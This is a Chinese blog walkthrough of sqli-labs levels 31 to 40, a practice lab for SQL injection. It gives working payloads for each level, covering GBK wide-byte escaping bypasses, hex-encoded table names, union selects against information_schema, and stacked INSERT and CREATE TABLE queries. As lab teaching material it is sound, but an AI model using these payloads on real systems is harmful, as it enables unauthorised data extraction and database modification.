1. 程式人生 > >sqli-labs通關教程----31~40關

sqli-labs通關教程----31~40關

第三十一關

這關一樣,閉合變成(",簡單測試,#號不能用

?id=1") and ("1")=("1")--+

第三十二關

這關會把我們的輸入裡的單引號前面都加一個\使得單引號轉義,使它沒有任何意義只是一個字元,所以應該是寬位元組注入。什麼是寬位元組?

  • 當某字元的大小為一個位元組時,稱其字元為窄位元組.
  • 當某字元的大小為兩個位元組時,稱其字元為寬位元組.
  • 所有英文預設佔一個位元組,漢字佔兩個位元組
  • 常見的寬位元組編碼:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
    這裡有兩個思路,第一個我們自己再新增一個斜槓\把系統新增的\轉義,但是這裡會在我們新增的\前面還會再新增兩個個\把我們的\和'一起給轉義了.........

    還有個思路就是寬位元組注入,
    當使用寬位元組編碼,如:GBK時,兩個連在一起的字元會被認為是漢字,我們可以在單引號前加一個字元,使其和斜槓(\)組合被認為成漢字,從未達到讓斜槓消失的目的,進而使單引號發揮作用
    注意:前一個字元的Ascii要大於128,兩個字元才能組合成漢字
    就比如在單引號前面輸入一個%df這樣進入系統就變成%df%5c%27,但是因為mysql使用的寬位元組編碼會把%df%5c當做一個漢字,所以就把\給註釋掉了
    爆庫名
?id=-1%df' union select 1,2,database() --+


看到\和%df已經組合成功了
爆列名:

?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

這裡將users進行hex編碼可繞過'單引號

之後操作一樣

第三十三關

這關和32關一樣啊,payload一模一樣都能用,看了下原始碼連這關的標題都寫的32...

第三十四關

這關就是就是變成POST請求,order by只能猜到2列資料
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

第三十五關

這關還是有轉義,但變成數字型注入了,不用引號了。直接注入就行。但是指定表名和資料庫名查詢還是要hex編碼。
爆列名:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

第三十六關

這關就是瀏覽器輸入的值經過mysql_real_escape_string() 函式轉義 SQL 語句中使用的字串中的特殊字元。
下列字元受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a
    就是被轉義的關鍵字比較多,其實還是闊以用之前32關的寬字元注入來做,一樣的payload
    爆列名:
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

第三十七關

這關和34關類似,一樣的payload,用post方法提交
爆列名:

uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&

第三十八關

這關看標題是堆疊注入,就是把很多條sql語句堆在一起使用,用分號區分不同的sql語句。雖然限制很多但利用mysqli_multi_query()函式就支援多條sql語句同時執行。
平常sql注入受到sql語句的限制就是來查查資料,但利用堆疊注入完全可以自己構造sql語句,對資料庫進行增刪改查操作,可謂危害很大。
這關也可以用尋常的sql注入套路。
向users表插入資料

?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+


新建一個以emails表為模板的表

?id=1';create table test like emails;--+

第三十九關

和上一關一樣,沒有閉合了變成數字型注入,其他一樣。
新建一個以emails表為模板的表

?id=1;create table test like emails;--+

第四十關

與前幾關一樣,閉合變成')
插入資料

?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23